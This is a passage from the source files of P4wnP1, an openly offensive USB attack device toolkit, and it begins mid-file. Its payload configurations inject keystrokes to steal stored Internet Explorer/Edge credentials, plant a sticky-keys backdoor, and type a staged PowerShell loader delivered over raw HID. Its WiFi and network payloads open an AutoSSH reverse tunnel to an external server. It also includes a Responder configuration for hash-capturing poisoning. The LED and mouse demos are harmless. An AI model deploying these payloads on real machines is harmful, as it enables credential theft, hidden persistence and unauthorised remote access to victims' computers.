5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 | # P4wnP1 demo payload by MaMe82
20 | # ==========================
21 | #
22 | # Steals stored plain credentials of Internet Explorer / Microsoft Edge
23 | # and stores them on the built-in flash drive
24 | #
25 | # - shows how to deploy a custom drive label to the USB flash drive
26 | # - shows how to access the flash drive from powershell
27 | # - shows how to output a DuckyScript from a dedicated file
28 | # - shows how a multifile payload could be structured in a dedicated sub directory
29 | #
30 | # Note: RNDIS is enabled, but not needed. This is to keep network access
31 | # while following the tutorial, on payload development writen for hakin9
32 |
33 | # assign custom drivelabel to UMS
34 | UMSLABEL="HAKIN9"
35 | fatlabel $wdir/USB_STORAGE/image.bin $UMSLABEL
36 |
37 | # =============================
38 | # USB setup
39 | # =============================
40 | USB_VID="0x1d6b" # Vendor ID
41 | USB_PID="0x1002" # Product ID
42 | USE_ECM=false # we need no Linux/Mac networking
43 | USE_RNDIS=true # RNDIS network device to enable hash stealing
44 | USE_HID=true # HID keyboard to allow entering cracked password
45 | USE_UMS=true # enable USB Mass Storage
46 |
47 | # Keyboard language for outhid and duckhid commands
48 | # possible languages: "be", "br", "ca", "ch", "de", "dk", "es", "fi",
49 | # "fr", "gb", "hr", "it", "no", "pt", "ru", "si", "sv", "tr", "us"
50 | lang="us" # MAKE THE KEYBOARD LANGUAGE MATCH THE TARGET
51 |
52 | function onKeyboardUp()
53 | {
54 | # execute DuckyScript responsible for bringing up PowerShell
55 | cat $wdir/payloads/hakin9_tutorial/startps.duck | duckhid
56 |
57 | # print out the PowerShell script as raw ASCII
58 | # Important: The script has to end with an empty line, to force pressing
59 | # RETURN after the last line
60 | cat $wdir/payloads/hakin9_tutorial/stealcreds.ps1 | outhid
61 | }
62 |
63 |
64 |
--------------------------------------------------------------------------------
/ssh/pushkey.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # This file is part of P4wnP1.
4 | #
5 | # Copyright (c) 2017, Marcus Mengs.
6 | #
7 | # P4wnP1 is free software: you can redistribute it and/or modify
8 | # it under the terms of the GNU General Public License as published by
9 | # the Free Software Foundation, either version 3 of the License, or
10 | # (at your option) any later version.
11 | #
12 | # P4wnP1 is distributed in the hope that it will be useful,
13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | # GNU General Public License for more details.
16 | #
17 | # You should have received a copy of the GNU General Public License
18 | # along with P4wnP1. If not, see .
19 |
20 |
21 | wdir=$( cd $(dirname $BASH_SOURCE[0]) && cd .. && pwd)
22 | source $wdir/setup.cfg
23 |
24 | read -p "Enter remote SSH host to push the key on ($AUTOSSH_REMOTE_HOST): " REMOTE_HOST
25 | REMOTE_HOST=${REMOTE_HOST:-"$AUTOSSH_REMOTE_HOST"}
26 | #echo $REMOTE_HOST
27 |
28 | read -p "Enter remote SSH user to use ($AUTOSSH_REMOTE_USER): " REMOTE_USER
29 | REMOTE_USER=${REMOTE_USER:-"$AUTOSSH_REMOTE_USER"}
30 | #echo $REMOTE_USER
31 |
32 | read -p "Enter path to public key ID file ($AUTOSSH_PUBLIC_KEY): " PUBLIC_KEY
33 | PUBLIC_KEY=${PUBLIC_KEY:-"$AUTOSSH_PUBLIC_KEY"}
34 | #echo $PUBLIC_KEY
35 |
36 | read -p "Enter path to private key ID file ($AUTOSSH_PRIVATE_KEY): " PRIVATE_KEY
37 | PRIVATE_KEY=${PRIVATE_KEY:-"$AUTOSSH_PRIVATE_KEY"}
38 | #echo $PRIVATE_KEY
39 |
40 | echo
41 | echo "Trying to add P4wnP1 public key for $REMOTE_USER@$REMOTE_HOST..."
42 | echo
43 | echo " The SSH server's password is needed to publish the key, but if"
44 | echo " nothing wents wrong this is the last time it is needed."
45 | echo
46 | res=$(ssh $REMOTE_USER@$REMOTE_HOST "echo \"$(cat $PUBLIC_KEY)\" >> ~/.ssh/authorized_keys;cat ~/.ssh/authorized_keys")
47 | if echo "$res" | grep -q -e "$(cat $PUBLIC_KEY)"; then
48 | echo "... SUCCESS !"
49 | echo
50 | echo "Run the following command to test password-less access"
51 | echo "(if you're prompted for a password, something went wrong):"
52 | echo "----------------------------------------------------------"
53 | echo
54 | echo "ssh -i $PRIVATE_KEY $REMOTE_USER@$REMOTE_HOST"
55 | else
56 | echo "... failed"
57 | fi
58 |
59 | echo
60 | echo
61 | echo "You could repeat key publishing at any time (P4wnP1 has to be able to reach the"
62 | echo "target SSH server, e.g. Internet access). Use the following command:"
63 | echo "-------------------------------------------------------------------------------"
64 | echo
65 | echo "$wdir/ssh/pushkey.sh"
66 |
--------------------------------------------------------------------------------
/ledtool/ledtool.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 |
4 | # This file is part of P4wnP1.
5 | #
6 | # Copyright (c) 2017, Marcus Mengs.
7 | #
8 | # P4wnP1 is free software: you can redistribute it and/or modify
9 | # it under the terms of the GNU General Public License as published by
10 | # the Free Software Foundation, either version 3 of the License, or
11 | # (at your option) any later version.
12 | #
13 | # P4wnP1 is distributed in the hope that it will be useful,
14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | # GNU General Public License for more details.
17 | #
18 | # You should have received a copy of the GNU General Public License
19 | # along with P4wnP1. If not, see .
20 |
21 | import os
22 | import pwd
23 | import grp
24 | import time
25 |
26 | filepath = "/tmp/blink_count"
27 | uid="pi"
28 | gid="pi"
29 | ledpath = "/sys/class/leds/led0/"
30 | DELAY_PAUSE = 0.5
31 | DELAY_BLINK = 0.2
32 |
33 | def prepare():
34 | # create control file if necessary
35 | if not os.path.exists(filepath):
36 | f = file(filepath, "w")
37 | f.write("255") # continous lit
38 | f.close()
39 |
40 | # fix ownership
41 | os.chown(filepath, pwd.getpwnam(uid).pw_uid, grp.getgrnam(gid).gr_gid)
42 | os.chmod(filepath, 0o666)
43 |
44 | # setup manual led control
45 | with open(ledpath + "trigger", "w") as trigger:
46 | trigger.write("none")
47 |
48 | # disable LED
49 | with open(ledpath + "brightness", "w") as brightness:
50 | brightness.write("1")
51 |
52 |
53 | def blink(count, delay_off, delay_on):
54 | with open(ledpath + "brightness", "w") as brightness:
55 | # if count is 255, LED should be turned on continuosly
56 | if count >= 255:
57 | brightness.write("0")
58 | brightness.seek(0)
59 | elif count == 0:
60 | brightness.write("1")
61 | brightness.seek(0)
62 | else:
63 | for i in range(count):
64 | brightness.write("0")
65 | brightness.seek(0)
66 | time.sleep(delay_on)
67 | brightness.write("1")
68 | brightness.seek(0)
69 | time.sleep(delay_off)
70 |
71 |
72 |
73 |
74 | prepare()
75 |
76 | with open(filepath, "r") as f:
77 | while True:
78 | value = f.read().split("\n")[0] # we read the whole file to prevent caching and split the needed value
79 | f.seek(0)
80 | count = 0
81 | try:
82 | count = int(value)
83 | except ValueError:
84 | count = 255 # failover if integer conversion not possible
85 |
86 | #print "File contains {0}".format(count)
87 | #print repr(value)
88 |
89 | blink(count, DELAY_BLINK, DELAY_BLINK)
90 | time.sleep(DELAY_PAUSE)
91 |
92 |
93 |
--------------------------------------------------------------------------------
/payloads/stickykey/trigger.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 |
20 | # P4wnP1 demo payload by MaMe82
21 | # ==========================
22 | #
23 | # Sticky keys backdoor
24 | # - needs Admin privs
25 | # - multiple presses to NUMLOCK enable backdoor
26 | # - multiple presses to SCROLLLOCK disable backdoor
27 | #
28 | # Note: RNDIS is enabled for this payload in order to be able to get SSH access
29 | # but this isn't needed for the payload to work. In fact it should be disabled to shorten the needed time
30 | # for Windows driver installation (don't forget to change the USB_PID if RNDIS is disabled, to force driver reinstall on Windows)
31 |
32 | USB_VID="0x1d6b" # Vendor ID
33 | USB_PID="0x1004" # Product ID
34 | USE_ECM=false # we need no Linux/Mac networking
35 | USE_RNDIS=true # RNDIS network device to enable hash stealing
36 | USE_HID=true # HID keyboard to allow entering cracked password
37 | USE_UMS=false # enable USB Mass Storage
38 |
39 | lang="us" # MAKE THE KEYBOARD LANGUAGE MATCH THE TARGET or remove this line to use the setting from setup.cfg
40 |
41 | function onKeyboardUp()
42 | {
43 |
44 |
45 | while $true; do
46 | # Wait for keyboard trigger based on LED detection
47 | # NUMLOCK, CAPSLOCK or SCROLLLOCK have to be pressed 6 times frequently (max 800ms between presses)
48 | # in order to make the blocking 'key_trigger' command return
49 | #
50 | # key_trigger returns an exitcode representing the key (status LED) which has triggered
51 | key_trigger
52 |
53 | case "$?" in
54 | 2) cat $wdir/DuckyScripts/stickykey.duck | duckhid
55 | led_blink 1;;
56 | 3) cat $wdir/DuckyScripts/stickykey_remove.duck | duckhid
57 | led_blink 2;;
58 | esac
59 | done
60 |
61 | }
62 |
63 |
64 |
--------------------------------------------------------------------------------
/hidtools/backdoor/ServerMethod.py:
--------------------------------------------------------------------------------
1 |
2 | # This file is part of P4wnP1.
3 | #
4 | # Copyright (c) 2017, Marcus Mengs.
5 | #
6 | # P4wnP1 is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # P4wnP1 is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with P4wnP1. If not, see .
18 |
19 |
20 | from StructHelper import StructHelper
21 | import struct
22 |
23 | class ServerMethod:
24 | def __init__(self, id, name, args):
25 | self.id = id
26 | self.name = name
27 | self.args = args
28 | self.isStarted = False
29 | self.hasFinished = False
30 | self.result = None
31 | self.hasError = False
32 | self.errorMessage = ""
33 |
34 | @staticmethod
35 | def createFromRunMethodMessage(message_data):
36 | # extract method ID
37 | id = struct.unpack("!I", message_data)
38 | message_data = message_data[4:]
39 |
40 | # extract method name
41 | name, message_data = StructHelper.extractNullTerminatedString(message_data)
42 |
43 | # remaining method data represents the args
44 | args = message_data
45 |
46 | return ServerMethod(id, name, args)
47 |
48 | def setError(self, errMsg):
49 | self.hasError = True
50 | self.errorMessage = errMsg
51 | self.hasFinished = True
52 |
53 | def setResult(self, result):
54 | if result == None:
55 | self.setError("Server method '{0}' has been called, but returned no result", self.name)
56 | return
57 | self.result = result
58 | self.hasFinished = True
59 |
60 | def createResponse(self):
61 | # this should only be called when the server method finished execution (we don't check this condition)
62 | response = struct.pack("!I", self.id)
63 | if (self.hasError):
64 | response += struct.pack("!B{0}sx".format(len(self.errorMessage)), 1, self.errorMessage)
65 | return response
66 |
67 | response += struct.pack("!B{0}", 0)
68 | response += self.result
69 | return response
--------------------------------------------------------------------------------
/payloads/hid_frontdoor.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 |
20 | # P4wnP1 demo payload by MaMe82
21 | # ==========================
22 |
23 |
24 | # =============================
25 | # USB setup
26 | # =============================
27 | # Make sure to change USB_PID if you enable different USB functionality in order
28 | # to force Windows to enumerate the device again
29 | USB_VID="0x1d6b" # Vendor ID
30 | USB_PID="0x0137" # Product ID
31 |
32 | USE_ECM=true # if true CDC ECM will be enabled
33 | USE_RNDIS=true # if true RNDIS will be enabled
34 | USE_HID=true # if true HID (keyboard) will be enabled
35 | USE_RAWHID=true # if true HID raw device will be enabled
36 | USE_UMS=false # if true USB Mass Storage will be enabled
37 |
38 | # disable setting of static routes for all IPv4 addresses
39 | ROUTE_SPOOF=false
40 |
41 | # use LED based HID keyboard test
42 | USE_HID_TEST=true
43 |
44 | # overwrite keyboard language from setup.cfg
45 | lang="us"
46 |
47 | # blink one time when payload script get's initiated
48 | led_blink 1 # usage at thi point is invalid, as the script gets called again on SSH login
49 |
50 | function onKeyboardUp()
51 | {
52 |
53 |
54 | # start HID Server
55 | screen -dmS hidsrv bash -c "cd $wdir/hidtools/frontdoor; python hidserver.py"
56 |
57 | # blink two times when hid keyboard is usable and HID server is started
58 | led_blink 2
59 |
60 | while $true; do
61 | # wait for keyboard LED trigger
62 | key_trigger
63 |
64 | # run interactive PowerShell console
65 | cat <<- EOF | duckhid
66 | GUI r
67 | DELAY 500
68 | STRING powershell.exe
69 | ENTER
70 | DELAY 1000
71 | EOF
72 |
73 | # output stage1 command (loads stage2 via raw HID)
74 | cat $wdir/hidtools/frontdoor/stage1_mini.ps1 | outhid
75 | done
76 | }
77 |
78 |
79 | # commands in this function are ran on user login
80 | # the commans are ran by user "pi"
81 | function onLogin()
82 | {
83 | #sudo screen -d -r
84 | return
85 | }
86 |
--------------------------------------------------------------------------------
/payloads/hid_mouse.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 |
20 | # P4wnP1 demo payload by MaMe82
21 | # ==========================
22 | #
23 | # Demo of P4wnP1's mouse emulation.
24 | #
25 | # Emulates a HID keyboard and a mouse. Additionally RNDIS is enabled as fallback for network
26 | # access (not needed by the payload).
27 | #
28 | #
29 | # Uses the keyboard to open paint in fullscreen and resize the canvas to 1920x1080
30 | # In the next step a MouseScript to draw a house in 3 tests is run:
31 | # Test 1: relative positioning (without steps)
32 | # Test 2: relative positioning (with steps)
33 | # Test 3: absolute positioning
34 | #
35 | # For details on P4wnP1's MouseScript languages, see the test script in $wdir/MouseScripts/test.mouse
36 | #
37 | # The HID backdoor supports P4wnP1's MouseScript with the 'SendMouseScript' command
38 | USB_VID="0x1d6b" # Vendor ID
39 | USB_PID="0x1231" # Product ID
40 | USE_RNDIS=true # RNDIS as fallback
41 | USE_HID=true # if true HID (keyboard) will be enabled
42 | USE_HID_MOUSE=true
43 | HID_KEYBOARD_TEST=true
44 |
45 | # overwrite default keyboard language
46 | lang="us"
47 |
48 | function onKeyboardUp()
49 | {
50 |
51 |
52 | # directly pipe duckyscript to "duckhid"
53 | cat <<- EOF | duckhid
54 | GUI r
55 | DELAY 500
56 | STRING notepad.exe
57 | ENTER
58 | DELAY 1000
59 | EOF
60 |
61 | (
62 | echo
63 | echo "As soon as NUMLOCK is pressed multiple times, P4wnP1"
64 | echo "tries to open MSPaint with the following DuckyScript:"
65 | echo " $wdir/DuckyScripts/mspaint.duck"
66 | echo
67 | echo "This is followed by a script in P4wnP1's MouseScript language"
68 | echo "which could be found here:"
69 | echo " $wdir/MouseScripts/test.mouse"
70 | echo
71 | echo "The MouseScript file gives details on how to use MouseScript"
72 | echo "and hints on advantages/disadvantages of the different ways"
73 | echo "available to move the mouse"
74 | echo
75 | ) | outhid
76 |
77 |
78 | while $true; do
79 | key_trigger
80 |
81 | # use DuckyScript to open paint
82 | cat $wdir/DuckyScripts/mspaint.duck | duckhid
83 | # use MouseScript to run 3 tests (painting the a house in three different modes)
84 | # Note: the mouse script starts with a 5 second delay to allow manual interaction
85 | # like switching windows
86 | cat $wdir/MouseScripts/test.mouse | outmouse
87 |
88 | done
89 | }
90 |
91 |
--------------------------------------------------------------------------------
/payloads/wifi_connect.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 |
20 | # P4wnP1 demo payload by MaMe82
21 | # ==========================
22 |
23 |
24 | # =============================
25 | # USB setup
26 | # =============================
27 | # Make sure to change USB_PID if you enable different USB functionality in order
28 | # to force Windows to enumerate the device again
29 | USB_VID="0x1D6B" # Vendor ID
30 | USB_PID="0x0237" # Product ID
31 |
32 | USE_ECM=true # kept enabled as fallback (could allow forwarding connection trough WiFi if added to payload)
33 | USE_RNDIS=true # kept enabled as fallback (could allow forwarding connection trough WiFi if added to payload)
34 | USE_HID=false
35 | USE_RAWHID=false
36 | USE_UMS=false
37 |
38 | # disable setting of static routes for all IPv4 addresses
39 | ROUTE_SPOOF=false
40 |
41 | WIFI_ACCESSPOINT=true
42 | WIFI_ACCESSPOINT_NAME="P4wnP1"
43 | WIFI_ACCESSPOINT_PSK="MaMe82-P4wnP1"
44 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1
45 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0"
46 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range
47 | WIFI_ACCESSPOINT_HIDE_SSID=false # don't hide ESSID
48 |
49 | WIFI_CLIENT=true
50 | WIFI_CLIENT_SSID="YourAPName" # name of target network
51 | WIFI_CLIENT_PSK="YourAPPassword" # passphrase for target network
52 |
53 | # The AutoSSH section enables a SSH reachback to a custom external SSH server
54 | # working like this:
55 | # 1) the target server is defined by AUTOSSH_REMOTE_HOST, the user by
56 | # AUTOSSH_REMOTE_USER
57 | # 2) P4wnP1 continuously attempts to login to this SSH server, using the
58 | # private key provided with AUTOSSH_PRIVATE_KEY
59 | # 3) In order to allow the login to succeed, the user defined by AUTOSSH_REMOTE_USER
60 | # has to have the public key from AUTOSSH_PUBLIC_KEY present in his
61 | # ~/.ssh/authorized_keys file (the script P4wnP1_working_dir/ssh/pushkey.sh
62 | # can be used to help publishing the public key to the SSH server)
63 | # 4) As soon as P4wnP1 is able to access the Internet (for example if the WIFI_CLIENT
64 | # connection succeeds and grants Internet access) the attempts to connect to
65 | # the remote SSH server should succeed
66 | # 5) On connection success, P4wnP1's SSH port 22 is forwarded to the
67 | # remote SSH server port given by AUTOSSH_REMOTE_PORT (only local host)
68 | # 6) If you login in to the remote SSH server from a different device
69 | # you are able to connect back to P4wnP1 using
70 | # ssh -p 8765 pi@localhost
71 | #
72 | # The port '8765' has to be replaced with the port configured
73 | # by AUTOSSH_REMOTE_PORT.
74 | #
75 | # Note: The public and private SSH key files used here, are generated
76 | # during P4wnP1 install and not packed into the P4wnP1 repo
77 | # (to assure a unique key pair).
78 | # If you want to (re)create a key pair, use the script in
79 | # `P4wnP1_working_dir/ssh/genkeys.sh
80 |
81 | AUTOSSH_ENABLED=true # enable AutoSSH
82 | AUTOSSH_REMOTE_HOST="remoteSSHServer.com"
83 | AUTOSSH_REMOTE_USER=root
84 | AUTOSSH_PRIVATE_KEY="$wdir/ssh/keys/P4wnP1_id"
85 | AUTOSSH_PUBLIC_KEY="$wdir/ssh/keys/P4wnP1_id.pub"
86 | AUTOSSH_REMOTE_PORT=8765
87 |
--------------------------------------------------------------------------------
/payloads/network_only.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 |
20 | # P4wnP1 demo payload by MaMe82
21 | # ==========================
22 |
23 |
24 | # =============================
25 | # USB setup
26 | # =============================
27 | # Make sure to change USB_PID if you enable different USB functionality in order
28 | # to force Windows to enumerate the device again
29 | USB_VID="0x1D6B" # Vendor ID
30 | USB_PID="0x0237" # Product ID
31 |
32 | USE_ECM=true # if true CDC ECM will be enabled
33 | USE_RNDIS=true # if true RNDIS will be enabled
34 | USE_HID=false # if true HID (keyboard) will be enabled
35 | USE_RAWHID=false # if true HID raw device will be enabled
36 | USE_UMS=false # if true USB Mass Storage will be enabled
37 |
38 | # disable setting of static routes for all IPv4 addresses
39 | ROUTE_SPOOF=false
40 |
41 |
42 | WIFI_ACCESSPOINT=true
43 | WIFI_ACCESSPOINT_NAME="P4wnP1"
44 | WIFI_ACCESSPOINT_PSK="MaMe82-P4wnP1"
45 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1
46 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0"
47 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range
48 | WIFI_ACCESSPOINT_HIDE_SSID=false # don't hide ESSID
49 |
50 | BLUETOOTH_NAP=true # enable bluetooth NAP, P4wnP1 will be rechable via IP configured in setup.cfg (BLUETOOTH_NAP_IP)
51 |
52 |
53 | # The AutoSSH section enables a SSH reachback to a custom external SSH server
54 | # working like this:
55 | # 1) the target server is defined by AUTOSSH_REMOTE_HOST, the user by
56 | # AUTOSSH_REMOTE_USER
57 | # 2) P4wnP1 continuously attempts to login to this SSH server, using the
58 | # private key provided with AUTOSSH_PRIVATE_KEY
59 | # 3) In order to allow the login to succeed, the user defined by AUTOSSH_REMOTE_USER
60 | # has to have the public key from AUTOSSH_PUBLIC_KEY present in his
61 | # ~/.ssh/authorized_keys file (the scipt P4wnP1_working_dir/ssh/pushkey.sh
62 | # can be used to help publishing the public key to the SSH server)
63 | # 4) As soon as P4wnP1 is able to access the Internet (for example using ICS
64 | # with this payload, as explained here https://youtu.be/QEWaIoal5qU) the
65 | # attempts to connect to the remote SSH server should succeed
66 | # 5) On connection success, P4wnP1's SSH port 22 is forwarded to the
67 | # remote SSH server port given by AUTOSSH_REMOTE_PORT (only local host)
68 | # 6) If you login in to the remote SSH server from a different device
69 | # you are able to connect back to P4wnP1 using
70 | # ssh -p 8765 pi@localhost
71 | #
72 | # The port '8765' has to be replaced with the port configured
73 | # by AUTOSSH_REMOTE_PORT.
74 | #
75 | # Note: The public and private SSH key files used here, are generated
76 | # during P4wnP1 install and not packed into the P4wnP1 repo
77 | # (to assure a unique key pair).
78 | # If you want to (re)create a key pair, use the script in
79 | # `P4wnP1_working_dir/ssh/genkeys.sh
80 |
81 | AUTOSSH_ENABLED=true # enable AutoSSH
82 | AUTOSSH_REMOTE_HOST=YourSSH-server.com
83 | AUTOSSH_REMOTE_USER=root
84 | AUTOSSH_PRIVATE_KEY="$wdir/ssh/keys/P4wnP1_id"
85 | AUTOSSH_PUBLIC_KEY="$wdir/ssh/keys/P4wnP1_id.pub"
86 | AUTOSSH_REMOTE_PORT=8765
87 |
--------------------------------------------------------------------------------
/payloads/hid_keyboard2.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 |
20 | # P4wnP1 demo payload by MaMe82
21 | # ==========================
22 | #
23 | # Emulates a HID keyboard and prints out "Keyboard is Running"
24 | # Uses NUMLOCK LED test, to check if target is ready to receive keystrokes
25 |
26 |
27 | # =============================
28 | # USB setup
29 | # =============================
30 | # Make sure to change USB_PID if you enable different USB functionality in order
31 | # to force Windows to enumerate the device again
32 | USB_VID="0x1d6b" # Vendor ID
33 | USB_PID="0x1230" # Product ID
34 |
35 | # Overwrite default settings (setup.cfg) for keyboard funtion
36 | USE_RNDIS=false # if true RNDIS will be enabled
37 | USE_HID=true # if true HID (keyboard) will be enabled
38 |
39 | # use LED based HID keyboard test, to fire callback to onKeyboardUp()
40 | HID_KEYBOARD_TEST=true
41 |
42 | # overwrite default keyboard language
43 | lang="de"
44 |
45 | function onKeyboardUp()
46 | {
47 | # we need no initial keyboard delay, before starting the DuckyScript
48 | # if this method gets called, we know the HID keyboard stack is usable
49 |
50 | # directly pipe duckyscript to "duckhid"
51 | cat <<- EOF | duckhid
52 | GUI r
53 | DELAY 500
54 | STRING notepad.exe
55 | ENTER
56 | DELAY 1000
57 | EOF
58 |
59 | # single command outputs piped to outhid
60 | echo "Target host finished loading HID driver" | outhid
61 | echo "Thi demo payload is located at: $wdir/$PAYLOAD" | outhid
62 | echo "If output uses wrong keyboard layout, change the 'lang' parameter in the payload script" | outhid
63 | echo "The payload uses the result of the 'key_trigger' to decide how to go on... " | outhid
64 | echo "... so grab a copy and modify it to your needs" | outhid
65 | echo "In order to run a different payload, modify 'PAYLOAD' in setup.cfg" | outhid
66 |
67 | while $true; do
68 | # multiple command outputs pipe to single "outhid" call
69 | (
70 | echo
71 | echo "Press CAPSLOCK, SCROLLLOCK or NUMLOCK frequently"
72 | echo "to trigger the respective keyboard output"
73 | echo
74 | echo "Payload execution sleeps till a trigger key is pressed"
75 | echo
76 | ) | outhid
77 |
78 |
79 | # Wait for keyboard trigger based on LED detection
80 | # NUMLOCK, CAPSLOCK or SCROLLLOCK have to be pressed 6 times frequently (max 800ms between presses)
81 | # in order to make the blocking 'key_trigger' command return
82 | #
83 | # key_trigger returns an exitcode representing the key (status LED) which has triggered
84 | key_trigger
85 |
86 | case "$?" in
87 | 1) echo "Key trigger CAPSLOCK detected" | outhid
88 | echo "------------========---------" | outhid
89 | echo "LED blink set to: 1" | outhid
90 | led_blink 1;;
91 | 2) echo "Key trigger NUMLOCK detected" | outhid
92 | echo "------------=======---------" | outhid
93 | echo "LED blink set to: 2" | outhid
94 | led_blink 2;;
95 | 3) echo "Key trigger SCROLLLOCK detected" | outhid
96 | echo "------------==========---------" | outhid
97 | echo "LED blink set to: 3" | outhid
98 | led_blink 3;;
99 |
100 | esac
101 | done
102 | }
103 |
104 |
--------------------------------------------------------------------------------
/conf/default_Responder.conf:
--------------------------------------------------------------------------------
1 | [Responder Core]
2 |
3 | ; Servers to start
4 | SQL = On
5 | SMB = On
6 | Kerberos = On
7 | FTP = On
8 | POP = On
9 | SMTP = On
10 | IMAP = On
11 | HTTP = On
12 | HTTPS = On
13 | DNS = On
14 | LDAP = On
15 |
16 | ; Custom challenge
17 | #Challenge = 1122334455667788
18 | Challenge = Random
19 |
20 | ; SQLite Database file
21 | ; Delete this file to re-capture previously captured hashes
22 | Database = Responder.db
23 |
24 | ; Default log file
25 | SessionLog = /tmp/Responder-Session.log
26 |
27 | ; Poisoners log
28 | PoisonersLog = /tmp/Poisoners-Session.log
29 |
30 | ; Analyze mode log
31 | AnalyzeLog = /tmp/Analyzer-Session.log
32 |
33 | ; Dump Responder Config log:
34 | ResponderConfigDump = /tmp/Config-Responder.log
35 |
36 | ; Specific IP Addresses to respond to (default = All)
37 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
38 | RespondTo =
39 |
40 | ; Specific NBT-NS/LLMNR names to respond to (default = All)
41 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT
42 | RespondToName =
43 |
44 | ; Specific IP Addresses not to respond to (default = None)
45 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
46 | DontRespondTo =
47 |
